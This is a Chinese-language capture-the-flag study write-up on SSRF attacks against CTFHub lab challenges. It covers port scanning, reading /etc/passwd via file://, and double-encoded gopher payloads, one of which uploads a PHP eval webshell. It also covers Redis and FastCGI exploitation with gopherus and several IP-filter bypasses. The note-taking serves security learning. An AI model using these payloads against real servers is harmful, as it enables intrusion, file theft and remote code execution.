SSRF学习
SSRF是什么都知道就不介绍,这里主要介绍下利用场景
◆ 通过SSRF扫内网端口
◆ http://10.0.54.87:80 OK
◆ http://10.0.54.87:81 Timeout
◆ http://10.0.54.87:8080 Timeout
◆ 获取内网资源
◆ file:///etc/passwd
◆ local_file:///etc/passwd (Python 2.7)
◆ file:///var/www/html/ (JAVA 可列出目录)
◆ 攻击内网的服务
◆ SQL Injection,Command Injection,. . .
前置知识
需要知道Redis和fastcgi提权的方法
1、场景利用
这里以CTFHUB为靶场进行场景学习
1.1、内网访问
1.2、伪协议读取文件
1.3、端口扫描
1.4、POST请求
题目提示php代码使用curl实现,并且会跟踪302跳转,直接访问flag.php显示只有127.0.0.1可以查看
使用http协议查看出现如下
使用file协议查看flag.php源码
发现需要以POST方式传入key,接受正确的key可以打印flag。
构造请求包
POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=8fbb07204b1f64a87c85739a60af744b
url编码地址:http://tools.jb51.net/static/encodetxt/urlencode_decode/index.html
进行两次url编码的原因:curl会进行url解码1次,由于漏洞参数在get请求的url中,会将url再解码一次,所以需要将payload进行两次url编码
第一次进行url编码 请求包末尾记得加换行
将第一次编码后的结果粘贴出来,将%0A替换为%0D%0A
第二次进行url编码
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=8fbb07204b1f64a87c85739a60af744b%250D%250A
使用gopher协议进行请求,注意点:
1、gopher默认指向70端口,所以需要指定端口80
2、如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码
1.5、上传文件
和上题类似
显示只有127.0.0.1能访问,添加提交按钮
提交后抓包
将请求包进行两次url编码,第一次记得将%0A替换为%0D%0A,末尾记得也要添加
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-cc683147c20fbb34.sandbox.ctfhub.com:10800%250D%250AContent-Length:%2520288%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-cc683147c20fbb34.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundarygfeEfBUgmyfaM3IJ%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/97.0.4692.71%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9%250D%250AReferer:%2520http://challenge-cc683147c20fbb34.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundarygfeEfBUgmyfaM3IJ%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%25221.php%2522%250D%250AContent-Type:%2520text/plain%250D%250A%250D%250A%253C?php%2520eval($_POST%255Bcmd%255D);?%253E%250D%250A------WebKitFormBoundarygfeEfBUgmyfaM3IJ%250D%250AContent-Disposition:%2520form-data;%2520name=%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%250D%250A------WebKitFormBoundarygfeEfBUgmyfaM3IJ--%250D%250A
放在ssrf漏洞处,使用gopher协议
1.6、FastCGI协议
使用工具gopherus
由于漏洞参数在url中,将结果url编码一次
1.7、Redis协议
同样使用gopherus,可以写webshell,也可以写定时任务反弹
将结果再次url编码,出现timeout没关系
尝试连接xxxx/shell.php
2、Bypass
2.1、URL Bypass
用@实现绕过,效果与http://127.0.0.1/flag.php相同
访问提示url只能以http://notfound.ctfhub.com开始
2.2、数字IP Bypass
使用localhost、16进制、八进制、十进制、使用 IPv6、url编码混淆等绕过ip限制
https://tool.520101.com/wangluo/jinzhizhuanhuan/
2.3、302跳转 Bypass
这题通过进制转换也拿到了flag
2.4、DNS重绑定 Bypass
利用工具地址https://lock.cmpxchg8b.com/rebinder.html B我写的公网地址
然后访问,多访问几次会出现